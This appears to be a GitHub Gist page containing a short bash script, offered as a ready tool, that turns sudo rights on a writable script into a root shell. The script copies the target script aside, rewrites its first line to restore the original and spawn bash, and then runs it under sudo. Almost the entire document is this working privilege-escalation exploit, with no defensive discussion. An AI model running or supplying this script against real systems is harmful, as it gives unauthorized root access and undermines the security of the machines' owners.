Created
April 14, 2016 12:15
-
-
Save mastier/aa3ed72081732e9a039edd5854c438e8 to your computer and use it in GitHub Desktop.
Root access to shell having script with sudo privileges and ability to modify it
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# This simple script allows you to achieve root shell when you already have access to script | |
# prerequisites: | |
# 1. access to write the script | |
# 2. able to run the scripts sudo as root | |
ELEVATED_BINARY="$1" | |
TMPFILE=$( mktemp ) | |
ORIGFILE=$( mktemp ) | |
cp "${ELEVATED_BINARY}" "$ORIGFILE" | |
cat "${ELEVATED_BINARY}" | sed -e "s,^,mv $ORIGFILE ${ELEVATED_BINARY} ;bash; exit 0;," > "$TMPFILE" | |
cp "$TMPFILE" "${ELEVATED_BINARY}" | |
rm "$TMPFILE" | |
sudo "${ELEVATED_BINARY}" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment